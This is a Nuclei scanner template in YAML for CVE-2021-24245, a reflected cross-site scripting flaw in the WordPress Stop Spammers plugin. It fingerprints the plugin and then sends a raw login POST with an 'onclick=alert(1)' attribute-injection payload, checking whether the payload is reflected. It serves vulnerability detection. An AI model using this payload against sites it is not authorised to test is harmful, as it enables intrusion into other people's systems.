73 lines
2.7 KiB
YAML
73 lines
2.7 KiB
YAML
id: CVE-2021-24245
|
|
|
|
info:
|
|
name: WordPress Stop Spammers <2021.9 - Cross-Site Scripting
|
|
author: edoardottt
|
|
severity: medium
|
|
description: WordPress Stop Spammers plugin before 2021.9 contains a reflected cross-site scripting vulnerability. It does not escape user input when blocking requests (such as matching a spam word), thus outputting it in an attribute after sanitizing it to remove HTML tags.
|
|
impact: |
|
|
Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
|
|
remediation: |
|
|
Update to the latest version of the WordPress Stop Spammers plugin (2021.9 or later) to mitigate this vulnerability.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
|
|
- https://wpscan.com/vulnerability/5e7accd6-08dc-4c6e-9d19-73e2d7e97735
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24245
|
|
- http://packetstormsecurity.com/files/162623/WordPress-Stop-Spammers-2021.8-Cross-Site-Scripting.html
|
|
- https://github.com/ARPSyndicate/cvemon
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-24245
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00231
|
|
epss-percentile: 0.60494
|
|
cpe: cpe:2.3:a:trumani:stop_spammers:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: trumani
|
|
product: stop_spammers
|
|
framework: wordpress
|
|
tags: cve2021,cve,wpscan,wordpress,xss,wp-plugin,packetstorm,trumani
|
|
|
|
flow: http(1) && http(2)
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /wp-content/plugins/stop-spammer-registrations-plugin/readme.txt HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers:
|
|
- type: word
|
|
internal: true
|
|
words:
|
|
- 'Stop Spammers Spam Prevention'
|
|
- 'Tags:'
|
|
condition: and
|
|
|
|
- raw:
|
|
- |
|
|
POST /wp-login.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
Cookie: wordpress_test_cookie=WP+Cookie+check;
|
|
|
|
log=ad%22+accesskey%3DX+onclick%3Dalert%281%29+%22&pwd=&wp-submit=%D9%88%D8%B1%D9%88%D8%AF&redirect_to=http://localhost/wp-admin&testcookie=1
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- "ad\" accesskey=X onclick=alert(1)"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4a0a0047304502205917ffa809c11d9c309949d353c16ced2a39b5fd1efa927f718b4e5c1d418c1a022100ec4e71ee4005aad1c859c0a7b7b336bae761807d52ac3733efd04804c3764719:922c64590222798bb761d5b6d8e72950 |